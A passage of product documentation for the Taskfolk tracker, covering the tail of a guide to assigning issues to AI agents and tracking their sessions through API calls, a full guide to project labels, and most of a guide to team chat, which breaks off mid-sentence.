That is the whole trick to handing off work. You do not learn a new "agent dispatch" screen. The board you already run is the interface. Drop an issue on an agent, and if that agent is polling its assignments, it picks the work up on its next check. ## Follow the sessions An assigned issue is a handoff. A session is the agent telling you what it is doing with it. A session has a state, and the vocabulary is small on purpose: running, needs input, review, done, failed, or cancelled. The last three are terminal, the session is over. Every update an agent sends is a heartbeat. If a running session goes quiet for 30 minutes with no heartbeat, Taskfolk [shows it as stalled](/blog/is-your-ai-agent-stuck). Read "stalled" as "go look", not "it died". Sometimes the agent is genuinely stuck. Sometimes it is on a long step and forgot to check in. The signal tells you to glance, nothing more. The shape of one handoff, end to end: ```mermaid flowchart TD A["Assign the issue to an agent, same picker as people"] --> W["Agent picks it up on its next check"] W --> R["Session: running, with heartbeats and notes"] R --> N["Needs input: it asks, you answer"] N --> R R --> V["Review: ready for human eyes"] R --> X["Failed or cancelled"] V --> D["Done"] ``` ![The Bots page sessions list, six agents across states: needs input, stalled, in review, and done](/images/blog/how-to-delegate-work-to-an-agent-sessions-list.webp) Under the hood, a session is two API calls. The agent opens one when it picks up the issue (scope `agents:write`): ```bash curl -X POST "https://taskfolk.ai/api/v1/workspaces/acme/agent-sessions" \ -H "Authorization: Bearer tfk_live_YOUR_KEY" \ -H "Content-Type: application/json" \ -d '{ "title": "Fix sidebar footer clipping", "issue_key": "WEB-13", "note": "Reproducing locally first" }' ``` Then it patches that session as it works. Every PATCH is a heartbeat; changing `state` moves it through the lifecycle above. In JavaScript: ```javascript await fetch(`https://taskfolk.ai/api/v1/workspaces/acme/agent-sessions/${sessionId}`, { method: "PATCH", headers: { Authorization: `Bearer ${process.env.TASKFOLK_API_KEY}`, "Content-Type": "application/json", }, body: JSON.stringify({ state: "review", note: "Opened PR #481, waiting on CI", external_url: "https://github.com/acme/web/pull/481", }), }); ``` ```python import os, requests requests.patch( f"https://taskfolk.ai/api/v1/workspaces/acme/agent-sessions/{session_id}", headers={"Authorization": f"Bearer {os.environ['TASKFOLK_API_KEY']}"}, json={ "state": "review", "note": "Opened PR #481, waiting on CI", "external_url": "https://github.com/acme/web/pull/481", }, ) ``` The response carries the whole session, so the agent (or your dashboard script) always sees the current state: ```json { "data": { "id": "0197f2ab-4c3e-7d21-9b0a-2f6e8d1c5a44", "agent_id": "0197c1d0-88a2-7f10-b3c4-9e5d6a7b8c90", "agent_name": "Codex Bot", "agent_kind": "openai", "state": "review", "title": "Fix sidebar footer clipping", "note": "Opened PR #481, waiting on CI", "external_url": "https://github.com/acme/web/pull/481", "issue_id": "0197b9e4-1f2a-7c33-a1d2-3e4f5a6b7c8d", "issue_key": "WEB-13", "started_at": "2026-07-15T09:12:04.000Z", "last_activity_at": "2026-07-15T10:41:37.000Z", "ended_at": null } } ``` A session can be anchored to a specific issue and project, say it is working WEB-12, or it can be a workspace-level session for broader work. When it is anchored, the session shows up in two places: on the Bots page, where you watch all agents at once, and on the issue itself, so anyone reading WEB-12 sees that an agent is on it and where it is at. Each session carries a little more than a status word. There is a title, a note (a short status message like "blocked on env var"), and an external URL, which in practice is where the agent drops a pull-request link. So a healthy session reads like "review, 'opened PR #481, waiting on CI', with a link straight to the PR". You can tell what happened without leaving the board. ![A steady gold heartbeat line that flattens into a dashed dim segment before a small gold dot: a running session going stalled.](/images/blog/how-to-use-ai-agents-in-taskfolk-sessions.webp) ## Stay in control Speed is easy. The reason to run agents inside your tracker instead of a side channel is that you keep the controls, and Taskfolk leans on a few. Attribution is the backbone. Every comment, status change, and issue update an agent makes lands in the issue's activity history as that agent. It stays attributed even after you disconnect the agent, so the audit trail survives the agent that wrote it. Six months from now you can still see that the triage bot, not a person, set that priority. Notifications keep you in the loop without email noise. When a session moves into needs input or done, Taskfolk notifies the agent's owner plus the issue's reporter, assignee, and watchers. These are in-app only, no email, because "the agent finished a task" is not something you want landing in your inbox forty times a day. It is something you want waiting in the app when you next look. ```mermaid sequenceDiagram participant Agent participant Taskfolk participant Team Agent->>Taskfolk: PATCH session, state needs input Taskfolk->>Team: notify owner, reporter, watchers Team->>Taskfolk: answer on the issue Agent->>Taskfolk: PATCH session, state review, PR link Taskfolk->>Team: notify again, human reviews the PR ``` For the moves that would actually hurt to get wrong, there is the AI chat assistant, which is a separate thing from named agents and worth understanding as its own tool. It is built into the app, it reads your workspace context, and it can draft issues, summarize threads, and propose changes. The part that matters here: any action that changes data, create an issue, add a comment, run triage, plan a sprint, asks for your approval before it runs. It proposes, you commit. That approve-before-it-changes step is how a human stays on the high-stakes writes while the assistant does the tedious drafting. And the money question people always ask: agent members are never billed as seats. Connecting agents does not grow your bill the way adding people does. The AI chat assistant and the weekly digest run on AI credits (every workspace gets a monthly grant by plan, and you can top up), but the agents themselves cost you nothing per head. The AI weekly digest fits here too, briefly. It is an optional Monday email with an AI summary of each project, highlights and risks, for workspaces that have AI credits. Think of it as the same act-on-a-schedule idea as an agent, just pointed at reporting instead of the board. And for the advanced reader: agents can even buy AI credit packs for a workspace on their own, through open commerce protocols, but that sits behind an admin-scoped key, so it never happens by accident. ## Where this is still young, honestly None of this is magic, and pretending otherwise helps nobody. - The MCP spec is new and client support is uneven. Something that works cleanly in one MCP client can behave differently in another, so test with the client your agent actually runs. - Taskfolk delivers the trigger, it does not run your agent. There is a live push channel (`agent-events`, Server-Sent Events, with `?since=` replay on reconnect), so an assignment reaches a connected agent the moment it lands. But the agent's own runtime still has to be up and listening. Taskfolk can tell it there is work; it cannot start it for you, and it cannot see what the agent spends doing it. - Scopes are per-resource, not per-field. You can say "this key can write issues", but not "this key can write the priority field but not the description". If you need field-level control, you enforce it in the agent's own logic, not in the key. - "Stalled" is a 30-minute silence, not a verdict. It means look, not that anything failed. Grounding quality, whether the agent actually gives you good answers, depends on good search and fresh docs as much as on the model behind it. A sharp model over a stale index still guesses. ## Start with one The setup that holds up is the boring one. Connect a single agent, give it a narrow key, [assign it one repetitive job](/blog/scope-an-ai-agents-first-job), and watch its sessions for a week or two before you widen anything. Trust is earned one checkable task at a time, not granted up front. Open the Bots page, connect your first agent, and hand it one small job this afternoon. --- # How to use labels URL: https://taskfolk.ai/docs/how-to-use-labels Published: 2026-07-15 Updated: 2026-07-25 Author: The Taskfolk team Tags: issue tracking, views, how-to Create, apply, and filter labels in Taskfolk to organize and slice issues by theme, timing, or customer across the board, backlog, list, and timeline. Labels are the first thing you reach for when a project stops fitting on one screen. WEB has forty open issues right now. Some are billing work. Some belong to the Q3 push. Some are things one loud customer keeps asking about. Status tells you where each issue sits in the flow (Backlog, To Do, In Progress, In Review, Done), but status can't answer "show me only the billing stuff" or "everything Acme cares about." That's what labels are for, and this guide is about how to use labels to organize issues so you can slice the same pile of work a dozen ways without moving a single card. The short version: you create labels on a project's Labels page, you apply them to issues, then you filter the board, backlog, list, and timeline by them. By the end you'll do all three, plus the parts people get wrong, like how the filter actually combines multiple labels and what happens when you delete one. ## What labels are, and when to reach for them A label is a small colored tag that belongs to a project. You attach it to issues. That's the whole idea. "Billing", "Q3", "Design", a customer name: each is a label, each has one color, and any issue can carry several at once. It helps to hold labels apart from the other things Taskfolk has, because from a distance they look similar and solve different problems. | Feature | What it is for | Per issue | | --- | --- | --- | | Status | Where the work sits in the flow | Exactly one | | Label | What the work is about | Several at once | | Custom field | A structured value: dropdown, number, date | One value per field | | Sprint | A time-boxed batch of work | Its own pages and rules | | Release | Issues that shipped together | Its own pages and rules | Statuses are where a piece of work sits in your flow. An issue is in Backlog, or In Progress, or Done. Every issue has exactly one status, and moving it between statuses is how work advances across the board. Labels are the opposite shape. They don't say where work is, they say what it's about, and they cut across status. A "Billing" issue can be in Backlog, In Review, or Done, and it stays "Billing" the whole time. That cross-cutting quality is the point. You can take the same set of issues and group it by theme one minute (all the Design work), by timing the next (everything tagged Q3), by customer after that. Labels are also not custom fields, milestones, sprints, or releases. Those are separate features with their own pages and rules. Labels are looser and lighter than any of those, which is exactly why they fit the fuzzy, human groupings that don't deserve a whole system: "the stuff we keep meaning to clean up", "things Acme flagged", "Q3." One fact to hold onto from the start, because it surprises people later: labels belong to a single project. The labels you create in WEB are WEB's labels. They do not appear in your SEC project or any other. There is no shared, workspace-wide label library. If two projects both want a "Billing" label, each creates its own. Know this now so nothing downstream feels like a bug. ## How to create a label in Taskfolk Labels live on their own page, reached from the project's tab strip. Open your project, look along the row of tabs, and click Labels. The URL pattern, with the WEB project in the taskfolk workspace as the concrete example: ```http /w//p//labels /w/taskfolk/p/web/labels ``` Get one thing right up front: labels are not under project Settings. Settings has its own sub-tabs (General, Statuses, Access, Integrations, Danger), and none of them is where labels live. Go hunting in Settings and you'll come up empty. Labels are their own top-level tab. The page opens as a settings-style panel titled "Labels", with a subtitle that sums up the feature: "Tag tasks however your team works. Group them by sprint, theme, area of focus, or customer, then filter by label across the board, backlog, and list." That's the promise on the tin. ![The WEB project's Labels page showing the create row (name input, color swatch picker, Add button) above the list of existing labels, each with its color swatch, editable name, issue-count link, and delete button. This is the single screen for creating, recoloring, renaming, and deleting labels.](/images/blog/how-to-use-labels-labels-page.webp) Creating a label is a single row at the top of the page. Type a name into the input, prompted with "Label name (e.g. Design, Q3, Billing)". Pick a color from the swatches beside it. Click Add. While it saves, the button reads "Adding…". When it lands, a toast confirms with 'Added "Billing".' and the input clears so you can type the next one straight away. Names max out at 64 characters, which is plenty. Keep them short anyway. "Billing" beats "Billing and payments related work" every time, because you'll read these on crowded board cards. Names are unique within the project. Try to add one that already exists and you get "Label already exists." with nothing created. So if you go to add "Q3" and it refuses, someone beat you to it. Scroll down and it's already in the list. For a real WEB setup, three labels get you a long way: "Billing" for anything touching payments and invoices, "Q3" for the current push, and "Design" for visual and UX work. Add those three, watch each toast confirm, and you have a working vocabulary. ## Choosing label colors that actually scan Color is not decoration here. It's how you spot a label at a glance on a busy board, so it's worth a minute of thought instead of grabbing whatever's first. You get seven brand presets: - Gold (`#FFD60A`), the brand color, high visibility. - Orange (`#FF8A3D`), warm and easy to read. - Pink (`#FF3B6B`), the loudest of the set. - Purple (`#B47CFF`), distinct without shouting. - Cyan (`#4FE8E5`), cool and legible. - Green (`#6AF7A8`), the natural "good/done/go" color. - Grey (`#A4A8B2`), quiet, for labels you want present but not shouting. Next to the presets is a dashed swatch. Click it and your browser's native color picker opens, so you're not stuck with seven choices. Pick any hex you like. Taskfolk stores it uppercased as `#RRGGBB`. It does have to be a real six-digit hex; feed it something malformed and you'll see "Color must be a valid #RRGGBB hex." The presets are a starting point, not a ceiling. A few opinions from having lived with this. Color by category, not by mood. Decide that all your area labels are cool colors and your timing labels are warm, or whatever rule you like, but have a rule, so the color itself carries meaning. Keep the palette small. If every label is a different loud color, none stands out and the board turns into confetti. And reserve one loud color, pink is the obvious pick, for the one thing you always want your eye to catch. If "Blocked" or "Acme" is pink and nothing else is, you'll find it instantly in a wall of cards. To recolor a label you already made, click the round color swatch at the very start of its row. That opens the same picker (seven presets plus the custom swatch), and your choice saves immediately, no separate save button. So if "Billing" ended up grey and you'd rather it were gold, one click on the swatch, pick gold, done. ## Applying labels to an issue Creating labels is setup. Applying them is the daily move, and there are three real places to do it. The main one is the issue detail page. Open any issue in WEB and you'll find the LabelsStrip. If the issue has no labels yet, you'll see a dashed "+ Add label" pill. Click it and a searchable command popover opens listing the project's labels, each row showing its color dot, its name, and a check mark once it's applied. Start typing to filter down to the one you want. Click "Billing" and it's on the issue. ![An issue detail page in the WEB project with the labels strip under the title: feature and frontend chips, each with a remove control, next to the dashed pill that opens the label picker.](/images/blog/how-to-create-an-issue-issue-detail-subtasks.webp) Once applied, each label shows as a chip in the strip, and every chip has a small × to take it back off ("Remove Billing"). These changes save optimistically, so the chip appears the instant you click, and if the save fails it reverts. Every change lands in the issue's activity timeline as a `label_changed` entry, so there's a record of who tagged what and when. There's a keyboard shortcut too. With an issue open, press `l` and the Labels picker opens right up, no reaching for the mouse. If you're tagging a batch of issues one after another, that shortcut is the fast path. The second place is at creation time. The New Issue dialog shows the project's labels as toggleable chips. Click the ones that apply while you're filling out the issue and they're attached the moment it's created. This is the habit worth building, because an issue tagged at birth never becomes an untagged straggler you clean up later. (For more on the dialog itself, see [how to create an issue](/docs/how-to-create-an-issue).) The third place is the List view. Each row has a Labels cell, and clicking it opens the same picker inline. You never leave the list. This is ideal for triage passes where you go down a backlog tagging things quickly, one row after another, without opening each issue. ![The List view of the WEB project with a Labels column showing each row's tags alongside status, priority, and assignee. Clicking a row's Labels cell opens the same picker without leaving the list.](/images/blog/how-to-filter-and-sort-issues-overview.webp) Three entry points, one behavior. However you get to the picker, it's the same set of the project's labels and the same optimistic save. ## How to filter issues by label This is the payoff, the reason you tagged anything at all. Once issues carry labels you can filter by them, and the filter works the same way across all four issue views: board, backlog, list, and timeline. Look for the "Label" facet, a button that opens a popover of checkboxes, one per label. Tick the labels you want and the view narrows to matching issues. The button shows the active count, so a glance tells you a filter is on. On the list, filter WEB down to "Billing" and you're looking at only the billing work, nothing else in the way. ![The WEB board with the Filter menu open, showing the Type, Priority, Status, Label, Assignee, and Due facets above columns of cards that carry their label chips.](/images/blog/how-to-use-a-kanban-board-filters.webp) The filter lives in the URL, in a shared `labels` parameter, and that's what makes it travel: ```http /w//p//list?labels=, ``` It round-trips across board, backlog, list, and timeline, so a filter you set on the board is understood by the list, and it persists into saved views. On board cards you'll see up to three label chips, then a "+N" if there are more. The list shows a full Labels column so you can read the tags straight down the page. One nice touch: back on the Labels page, each label's usage count ("6 issues") is itself a link. Click it and you land on the list already filtered to that label. So the Labels page doubles as a jump-off point. See that "Billing" is on six issues, click the number, and you're looking at exactly those six. For the deeper mechanics of combining label filters with other facets, sorting, and the rest, [how to filter and sort issues](/docs/how-to-filter-and-sort-issues) covers the full filter surface. ## Any-of, not all-of: the one filter rule to remember Here's the part that trips people up, so I'll be blunt. Label filtering is OR, not AND. Any-of, not all-of. Select "Billing" and "Q3" together and you get every issue that carries either one. Not the issues that carry both. An issue tagged only "Billing" shows up. An issue tagged only "Q3" shows up. An issue tagged both shows up too, but it isn't singled out. There is no "has all of these labels" filter. None. If you were expecting the intersection, there's no switch for it, because it doesn't exist. ```mermaid flowchart TD F{Filter set to Billing and Q3} --> A[Tagged Billing only] F --> B[Tagged Q3 only] F --> C[Tagged both] F --> D[Tagged Design only] A --> S[Shown] B --> S C --> S D --> H[Hidden] ``` In practice this means adding labels to the filter widens the net, it doesn't narrow it. Each label you check pulls in more issues, not fewer. That's great when you genuinely want a broad slice ("show me everything Billing or Q3, the whole scope of this week's work"). It's the wrong tool when you want a precise intersection ("only the billing work that's also Q3"). So how do you get intersections? Two honest workarounds. Narrow with a different facet: filter to "Billing", then use status, assignee, or another facet to cut it down. Or, better, make a more specific single label. If "billing work in the Q3 push" is a real recurring category for your team, give it its own label ("Q3-billing") and filter on that one thing. A well-chosen single label beats fighting a filter that won't do what you want. ## Sharing and saving a filtered view Because the filter lives in the `labels` URL parameter, sharing a filtered view is as dumb and reliable as copying the address bar. Filter the WEB list to "Billing", copy the URL, paste it into chat or a doc, and whoever clicks it lands on the exact same filtered list. No "go to the list, then click the facet, then check Billing" instructions. The link is the state. The format is straightforward, and swapping `list` for `board` lands the same filter on a filtered [kanban board](/docs/how-to-use-a-kanban-board) instead, cards and all: ```http /w/taskfolk/p/web/list?labels= /w/taskfolk/p/web/board?labels= ``` That's the same link the Labels page usage counts and the label chips generate, so you'll see it turn up naturally as you click around. For a filter you reach for constantly, don't keep pasting URLs, save it. Saved views persist a label filter, so "Billing backlog" becomes a single click from then on instead of a facet you re-set every morning. Set the filter once, save the view, and it's there waiting. This is the difference between labels being a nice idea and labels being part of how the team actually works. The useful slices get saved and reused, not rebuilt from scratch each time. ## Renaming, recoloring, and deleting labels safely Labels drift. A name that made sense in month one feels wrong by month three. Editing is easy and mostly safe, with one sharp edge worth knowing about. Renaming happens inline on the Labels page. Click into a label's name field, change the text, and it saves when you click away (on blur). A toast confirms with 'Saved "Payments".' Empty names aren't saved, so you can't accidentally blank one out. And the uniqueness rule still applies: rename a label to a name another label already uses and you get "Another label already uses that name." with no change made. Recoloring is the swatch popover from earlier: click the round swatch at the start of the row, pick a color, it saves right away. Then there's deletion, and this is the part to read carefully. Click a label's delete button and a confirmation dialog opens, titled 'Delete label "Billing"?'. The body tells you the stakes honestly. If the label is in use it reads "It is used on 6 issue(s). Deleting removes it from all of them. If you need to keep this grouping, rename or recolor the label instead." If it's unused it says "This label is not used on any issues yet." The confirm button reads "Delete label", and on success you get 'Deleted "Billing".' Now the honest part. Deletion is a hard delete. It removes the label and every one of its issue-links, and the issues that carried it simply lose the tag. There is no merge (you can't fold "Billing" into "Payments" and move all the issues over), and there is no archive (you can't retire a label and bring it back later). It's gone, and the issues quietly become untagged. ```mermaid flowchart TD Q{What needs to change} -->|the name| R[Rename inline, every issue keeps the tag] Q -->|the color| C[Click the swatch, pick again] Q -->|you want Payments instead of Billing| K[Rename, do not delete] Q -->|the label was a mistake or is dead| D[Delete, removed from all issues] ``` The dialog itself gives the right advice, which I'll repeat because it's good: if you want to keep the grouping, rename or recolor the label instead of deleting it. Deleting "Billing" to replace it with "Payments" loses all your work. Renaming "Billing" to "Payments" keeps every issue tagged. Reach for delete only when a label is genuinely a mistake or truly dead, not as a way to reorganize. ## Who can manage labels, and other real limits Not everyone can touch labels, and that's deliberate. Creating, renaming, recoloring, and deleting labels all require the `label.manage` permission, which belongs to owners, admins, and members. If you're one of those three roles, the Labels page is fully yours. Viewers get a read-only version: they see the list of labels (swatch plus name, each linking to its filtered list) but no create row, no delete buttons, no editing. They can still filter by labels and follow the links, they just can't change the set. Guests don't even see the Labels tab. It's hidden from them along with Settings, Fields, and Forms. While we're being clear about limits, here's the full honest list: - **Project-scoped, not global.** A label belongs to one project. WEB's labels aren't SEC's. No shared library across the workspace. - **Unique names per project.** No two labels in the same project can share a name. - **OR-only filtering.** Multiple selected labels match any-of, never all-of. No intersection filter. - **One color per label.** A single `#RRGGBB` hex, from the seven presets or any custom value. - **64-character name cap.** Enforced on input and on the server. - **Hard delete only.** No merge, no archive. And to keep expectations straight, labels are not the other Taskfolk features they resemble. They're not custom fields (structured typed values), not milestones or sprints or releases (those group and schedule work in their own pages), and not statuses (board columns, where each issue sits in the flow). Want a required dropdown value? That's a custom field. Want a time-boxed batch? That's a sprint. Labels are the light, free-form tags, and using the right feature for the job saves a lot of frustration. Two things worth a passing mention without overselling them: automations can add a label as a rule action, so you can auto-tag issues that match a condition, and the New Issue dialog can pre-select labels. Both are real, both are handy, and both sit beyond the core create-apply-filter loop this guide covers. ## A workflow that makes labels earn their keep Labels are only as good as the discipline around them, so here's a routine that keeps them useful instead of turning them into clutter. - **Start with a small shared vocabulary.** Sit the WEB team down for five minutes and agree on the labels that matter: a couple of area labels ("Billing", "Design"), a timing label for the current push ("Q3"), and customer names used sparingly, only for the accounts that genuinely drive work. Small and shared is the goal. A dozen labels everyone understands beats fifty nobody trusts. - **Apply at creation.** Make tagging part of filing an issue, using the toggleable chips in the New Issue dialog, so nothing enters the backlog untagged. This is the single habit that makes the rest work, because a filter is only as complete as your tagging. An untagged billing issue is invisible to your "Billing" filter, and you won't know it's missing. - **Filter when it counts.** During a support push where Acme is loud, filter the board to the "Acme" label and work only their cards, then drop the filter when the fire's out. During Q3 planning, filter to "Q3" and see the whole scope in one view. The filter is a lens you pick up and put down, not a permanent state. - **Save the views you keep returning to.** If you filter to "Billing" every Monday, save it so it's one click forever after. - **Guard against sprawl.** The failure mode isn't too few labels, it's too many near-duplicates ("billing", "Billing", "payments", "invoices", "billing-stuff") that fragment the same work across four tags nobody fully trusts. When you catch a duplicate, rename rather than add. When a label goes dead, delete it (carefully, remembering it's a hard delete). Fewer, cleaner labels are worth far more than a big messy pile. Labels pair naturally with triage. As you review incoming work, tagging is half the job, and if you lean on [AI issue triage that assigns and prioritizes](/blog/ai-issue-triage-that-assigns-and-prioritizes), labels give you the categories to slice the results by afterward. Open your project's Labels page and create your first three: Billing, Q3, and one that fits your team. That's the whole start. --- # How to use team chat URL: https://taskfolk.ai/docs/how-to-use-team-chat Published: 2026-07-15 Updated: 2026-07-28 Author: The Taskfolk team Tags: Taskfolk, how-to, project management A practical guide to team chat in a project management tool: channels, DMs, threads, @mentions, file attachments, and the honest limits, all next to your issues. You ping someone in Slack about WEB-142, then re-explain the whole ticket because the conversation and the work live in two different apps. Which project? What status? Who owns it? You paste a link. They open it in a new tab, read it, come back, and by then the thread has scrolled past the point of the question. Do that for every handoff in a week and you can feel the tax it charges. Team chat in a project management tool exists to kill that tax. Taskfolk ships a chat that lives inside the same workspace as your board and your issues, so the conversation and the work are one click apart. This guide walks through opening chat, creating channels, sending and formatting messages, mentioning people, attaching files, using threads and direct messages, catching up after time away, and moderating a channel. It also names the honest limits up front, because knowing what chat does not do is what keeps your team from getting surprised later. ## What you'll learn - How to open team chat from the workspace sidebar, and why it drops you into #general - How to create public and private channels, and which one to reach for - How to send formatted messages, @mention teammates, attach files, and react without leaving the workspace - How to use threads and direct messages to keep side conversations out of the main flow - How to post to a channel from a script through the v1 API - Exactly what chat does and does NOT do (issue auto-linking, typing indicators, reactions), so you set expectations correctly ## Why team chat in a project management tool beats a separate app Here is the real problem. Your context lives in the tracker. The ticket holds the status, the assignee, the comments, the attachments, the whole history. But the fast back-and-forth ("can you look at this before standup?") happens in a separate chat app. So every time a conversation touches a ticket, someone copy-pastes the ticket details into chat. And every decision made in chat lives nowhere the ticket can see it. Two months later you are trying to reconstruct why a thing was built a certain way, and the answer is in a Slack thread that scrolled off into the void. [Team chat built into the project management tool](/blog/keep-team-chat-next-to-your-issues) changes the geometry. In Taskfolk, chat is workspace-level. Channels and direct messages span the whole workspace rather than a single project, and the chat panel sits one click from the WEB board and the WEB issues. You are looking at the board, a question comes up, you open chat, you ask, you go back. No tab-switch, no re-login, no re-explaining which workspace you meant. Set the scope honestly, because this shapes how you should use it. Chat is a place to talk. It is not a second issue tracker. Decisions, requirements, and status still belong on the ticket. Chat is where you coordinate quickly, then record the outcome where the work lives. When a discussion produces actual work, that work goes on a ticket. The chat is the meeting; the ticket is the minutes. ## Open chat and find your way around the two-pane layout Chat lives in the workspace sidebar. Look for the "Chat" nav item, described as "Talk with your team in channels and direct messages." It carries an unread badge, capped at 99+, that lights only when you have unread messages in channels you have not muted. Mute a channel and it stays quiet and does not push the badge. That is the entire point of muting, and it holds together. Click it and you land on the chat page. You will almost never hit a blank screen, because the page auto-redirects to a sensible default: ```mermaid flowchart LR A[Open Chat] --> B{general exists?} B -- yes --> C[Land in general] B -- no --> D{Any joined channel?} D -- yes --> E[Most recently active one] D -- no --> F[First visible channel] ``` What good looks like here is simple. You land somewhere real without hunting for a starting point. ![The Taskfolk chat page after auto-redirecting to #general, showing the two-pane layout: the left rail with Channels and Direct messages sections plus the active-channel yellow bar, and the message pane with the Taskfolk welcome message and composer. Shows where chat lives and how it sits next to the board.](/images/blog/how-to-use-team-chat-general-channel.webp) Now read the layout. The left rail has two sections. Under the "Channels" heading you get your public and private channels. Under the "Direct messages" heading you get your DMs. Each item shows an unread dot when it has messages you have not read, and the channel you are currently viewing gets a yellow bar so you always know where you are. The right side is the message pane: the conversation on top, the composer at the bottom. One thing you do not have to do: create #general. Every workspace is auto-provisioned with a #general channel and a "Welcome to team chat" message posted by a system identity named "Taskfolk." So the first time anyone on your team opens chat, a channel and a message are already waiting. You are joining a room, not building one from scratch. ## Create a channel, and choose public vs private on purpose When #general is not enough, make a channel. Use the + button, labeled "New channel." This is available to owner, admin, and member roles. Viewers cannot create channels, which fits their read-only posture. The "Create a channel" dialog has three fields worth understanding: - **Name.** For example `web-release` for coordinating a release of the WEB project. - **Topic.** An optional one-liner answering "What's this channel about?" It helps people who browse in later understand what they are looking at. - **Visibility.** This is the one to slow down on. ![How to use team chat - create channel](/images/blog/how-to-use-team-chat-create-channel.webp) The visibility choice is not cosmetic. Public means "Anyone in the workspace can find and join." In practice, any workspace member can browse that channel and read it even without joining. Private means "Only invited people can see this channel," so it is visible only to the people explicitly added. That difference is the whole decision. Here is a rule of thumb that holds up. Default to public for anything work-related. If the WEB team is coordinating a release, a public #web-release channel lets a curious teammate from another project find it, read the context, and understand what shipped, all without pinging anyone. Context that is findable is context that does not get re-explained. Reserve private channels for the genuinely sensitive: a personnel matter, an early security discussion, a conversation that should not be broadly readable. When in doubt, public. Two convenient behaviors round this out. If you post to a public channel you have not actually joined, posting auto-joins you. And if you decide a channel is not for you, you can leave it later; there is a confirm dialog, so you will not leave by accident. ## Send a message, format it, and @mention the right person The composer is a rich editor, not a plain text box. A formatting toolbar covers bold, lists, code, and links, so a message explaining a tricky deploy step reads clearly instead of arriving as a wall of text. Two keyboard shortcuts carry most of the weight, and the composer shows you the hint: Enter to send, Shift+Enter for a new line. Learn those two and you will stop accidentally firing off half-finished thoughts. Mentions are how you pull the right person in. Type `@` and a handle, and it renders as a styled chip in the sent message and fires an in-app notification to that member, respecting their per-channel mute, so a muted channel will not ping them. In a public channel, any workspace member is mentionable. In a private channel or a DM, only the members of that conversation are. So @mentioning a teammate about the "Timeline + Summary tab" ticket in a public channel reaches them, and the notification surfaces the ping even if they are not looking at chat right then. ![The notification preferences matrix in Taskfolk, where each member controls which events reach them. Chat mentions land as in-app notifications and respect per-channel mutes.](/images/blog/how-to-manage-your-notification-preferences-prefs-matrix.webp) Now the honest limit, stated plainly so nobody trips over it. Typing `#WEB-12` in a chat message does NOT become a clickable issue link. In issue comments and doc comments, `#KEY-NUM` auto-links to the ticket. Chat does not do that. It renders as plain text: you will see `#WEB-12` as literal characters, not a chip you can click. The composer even offers a `#` autocomplete, but the message that gets posted is plain text. So when you want your teammate to be able to jump to the ticket, paste the full issue URL instead. This is the single most common expectation mismatch with chat. Say it out loud on your team once and you save everyone the confusion. Two more facts. There is no typing indicator, so do not sit there waiting to see "someone is typing." And a message body can run up to 8000 characters, which is plenty for a detailed question but not the place to paste an entire document. ## Attach files, paste images, and react to messages You can attach up to 10 files to a single message. Each upload goes through a presigned upload with a live 0-100% progress bar, so you watch it move instead of guessing whether it hung. Pasting an image straight into the composer attaches it too, which is the fastest way to share a screenshot of a broken layout. Sizes are bounded by your plan. The composer shows the cap inline as "Up to {size} per file" (on Free that is 1 MB per file). There is a hard ceiling of 25 MB per file, and everything is further bounded by your workspace storage quota, so a giant attachment counts against the same storage the rest of the workspace draws on. The numbers in one place: | Limit | Value | |---|---| | Message length (composer) | 8,000 characters | | Files per message | 10 | | Per-file size | Plan cap (Free: 1 MB), hard ceiling 25 MB | | Flood guard | 30 messages per 10 seconds per user | | Reactions | Fixed set of 8 branded icons | | Unread badge | Caps at 99+ | Reactions are a fixed set of eight branded icons: Like, Love, Haha, Celebrate, Clap, Watching, Fire, Done. You toggle your own reaction on or off, and counts aggregate across everyone who reacted. Be clear-eyed about this: it is a fixed set, not an arbitrary emoji picker. You will not find a search box of 3,000 emoji. That is a deliberate constraint, and honestly it is fine. The practical win is that you can react Done on a message instead of typing "ok" and adding another line to the channel. Reactions are the low-noise acknowledgment, and using them well is most of what keeps a busy channel readable. ## Keep side conversations tidy with threads and direct messages Channels turn into soup when three conversations happen at once. Threads fix that. On any message, "Reply in thread" opens a right-hand Thread panel with the original message on top and replies nested underneath. You can reply to a reply, so a genuine back-and-forth stays contained. The panel has a "Reply..." placeholder and an "Also send to channel" option, which posts your thread reply back into the main channel when you want to surface a conclusion instead of burying it. Thread participants and anyone you @mention in the thread get notified, so a threaded conversation still reaches the right people. Why bother? Because a thread stops a channel from turning into a pile of overlapping half-conversations. If the WEB team is debugging one issue and someone else asks about the release date in the same channel, the release question goes in its own thread and the debugging stays legible. Each message also has an actions row: - **Copy link** gives you a deep link to that specific message ("Link copied") so you can point someone straight at it. - **Edit** lets you fix your own message, which then shows an "(edited)" marker so nobody is confused about what changed. - **Delete** removes your own message; owners and admins can delete anyone's, and a deleted message shows "This message was deleted." rather than vanishing without a trace. Then there are direct messages. The "New message" button starts a DM with any workspace member, searchable by name or email. A nice detail: reopening a DM with the same person reuses the existing conversation instead of spawning a duplicate, so you keep one thread per person instead of a graveyard of near-identical chats. ## Start a direct message with a teammate Let's walk the DM flow on its own, because it is the fastest path to a private one-to-one. Click "New message" and you get the "Start a direct message with a workspace member" dialog, with a searchable people list. Find the person, hit "Start conversation," and the DM appears under the "Direct messages" heading in the left rail, right where you would expect it. Teammates are not the only ones you can message: you can [chat with and orchestrate your AI agents](/blog/chat-and-orchestrate-your-ai-agents) from the same panel. When should you DM versus post in a channel? The decision is simpler than it feels in the moment: ```mermaid flowchart TD A[You need to say something] --> B{For one person only or sensitive?} B -- yes --> C[Direct message] B -- no --> D{Continuing an existing topic?} D -- yes --> E[Reply in that thread] D -- no --> F[Post in the channel] ``` DM for anything genuinely 1:1 or sensitive: a quick "are you free at 3?", a bit of feedback meant for one person, a heads-up that does not need broadcasting. Post in a channel for anything the team benefits from seeing, which is more often than you think. A question you DM to one person is a question the rest of the team cannot learn from. That same question in #web-release becomes searchable context for whoever wanders in next week. One constraint to remember: you can only DM people who are already in the workspace. If you are onboarding a new hire and want to message them, they need to be invited first, so do that before you go looking for them in the DM search. ![The workspace People page in Taskfolk, listing members with their roles. Only people who already appear here can be reached through the DM search.](/images/blog/how-to-invite-team-members-people-overview.webp) ## Reading, catching up, and staying in real time Coming back after being away is where a lot of chat tools fall apart. Taskfolk marks unread messages with a "New" divider, so when you open a busy channel you scroll straight to where you left off instead of re-reading everything. To go further back, "Load older messages" walks backward through history with keyset pagination until you reach "You've reached the beginning." No infinite phantom scroll, no missing gaps. Delivery is real time. Messages arrive over a per-workspace Server-Sent-Events stream, so a message someone posts shows up for everyone watching without a refresh. If your connection drops, the client shows a "Reconnecting..." indicator, and on reconnect it replays anything you missed using a `since` cursor. The database is the source of truth, 